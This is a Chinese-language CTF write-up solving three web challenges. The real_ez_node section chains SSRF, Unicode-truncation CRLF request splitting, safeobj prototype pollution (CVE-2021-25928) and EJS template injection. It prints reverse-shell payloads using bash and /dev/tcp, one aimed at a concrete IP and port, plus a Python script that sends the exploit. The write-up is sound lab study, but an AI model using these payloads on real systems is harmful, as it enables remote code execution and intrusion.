前言

第一次参加西湖论剑大赛,全程坐牢了。看着题目被其他师傅日穿,心里不甘啊,没办法,还是太菜,趁着还有比赛环境,抓紧复现一波赛题,详细记录一下。

Node Magical Login

这题有附件,node.js代码,不过代码很好懂。主页面是个登录框。

看源码分析功能,

密码设置随机数,按常理不可能登录成功。

if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}

伪造cookie可得flag1,

关键在于flag2,输入正确的检测码,但是被toLowerCase()函数强制转小写。

if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}

当时一直在想怎么绕过toLowerCase()函数,利用相似unicode编码字符也不行,最后改变思路,让toLowerCase()函数发生报错,跳转到catch捕捉,就会顺利执行下面的代码,获得flag2。可到最后也没能让toLowerCase()函数报错。看了师傅的wp才知道toLowerCase()函数是处理字符串的,我们给他传递一个数组,数据类型不匹配而出现异常。另外,我们传递的参数需要满足16长度,所以payload为

{"checkcode":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]}

拼接得到完整flag。

扭转乾坤

打开网站有个上传功能

看到Servlet就知道后端是java有些劝退了。看wp才知道一个大小写绕过就能得到flag。随便上传什么文件,将文件类型的multipart/form-data,改成大写,然后上传成功即可得到flag。

有点不太理解,但是题目也给了提示:需要从RFC规范差异绕过waf。网上找了篇文章,以后填坑再看:https://www.anquanke.com/post/id/241265

real_ez_node

又是node.js题,相关知识点:

safeobj.expand()原型链污染配合ejs模板rce。

ssrf配合unicode字符损坏构造恶意http数据包访问内网

下载附件分析源码。在views中有两个ejs模板文件,在routes的index.js会对其进行渲染。

这里的safeobj.expand()函数存在原型链污染,我们传入的req.body[index]值会覆盖掉index属性,在这里,需要污染的对象可控,污染的内容可控,因此存在漏洞点。相关CVE:NVD - CVE-2021-25928 (nist.gov)在网上找了个poc测试一下,(相关链接:JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户

污染成功,此处存在原型链污染。配合ejs模板引擎渲染,可以达到rce的目的。ejs模板注入的payload有很多,例如:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

但是结合safeobj.expend函数,需要变通一下,另外__proto__关键词被过滤了。在网上搜索可以使用构造器配合prototype来代替__proto__,根据上面举的例子照葫芦画瓢,执行反弹shell,整合payload为:

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/vps/port 0>&1\\"');var __tmp2"
}

那么有个问题,

为什么不是这样:{"constructor": {"prototype": {"outputFunctionName":
而是这样写:{"constructor.prototype.outputFunctionName":

都是safeobj.expend()函数搞的鬼,进入函数底层代码看看

expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;
} else {
var prop = props.shift();
if (!(prop in obj)) {
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
},

上面写的由path参数接收。在这里它会被.分割成字符串数组。进入到else分支继续调用expend函数,相当于递归copy操作。在copy路由下,只能本地访问。

if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}

继续看代码,curl路由,

var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];

声明一个q属性,并且拼接到本机地址访问内网。那么我们应该可以拼接另一个恶意的http数据包来带着恶意的payload去访问copy路由。拼接数据包自然少不了CRLF,而针对于node的8.1.2版本(也就是题目环境)有unicode字符损坏造成的htttp拆分攻击漏洞。之前做过一道类似的题,在此继续啰嗦几句。

在node.js中,并不能直接注入CRLF,node.js中的http库会检测用户如果含有回车换行会直接报错。js也是默认支持unicode字符串,只支持单字节字符集,如果传入高字节的unicode编码,则会被截断为单字节。我们可以巧妙的利用某些高字节unicode编码,让它截断为我们想要的换行。

举个栗子:如果我们传入\u010D\u010A,截断之后就变成了\u0D\u0A,就变成了CRLF。

这题主要思路:curl路由存在ssrf->配合CRLF构造恶意http数据包访问copy路由->safeobj.expend()存在原型链污染->配合ejs模板渲染反弹shell.

接着就是写python脚本发包了,直接用[GYCTF2020]Node Game的脚本改改就好了。

import requests
import urllib.parse

payloads = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1670345808
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 181

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/1.116.160.155/2400 0>&1\\"');var __tmp2"}

GET / HTTP/1.1
test:'''.replace("\n", "\r\n")


def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret

payloads = payload_encode(payloads)

print(payloads)
r = requests.get('http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote(payloads))
print(r.text)

发包反弹成功,获得flag。

在这里贴上各种模板的原型链rce文章:https://www.anquanke.com/post/id/248170#h2-8

结语

剩下的web题目可能不在我的知识理解范围之内,等以后有机会继续补充记录。相关链接:http://syunaht.com/p/2990775804.html#toc-heading-6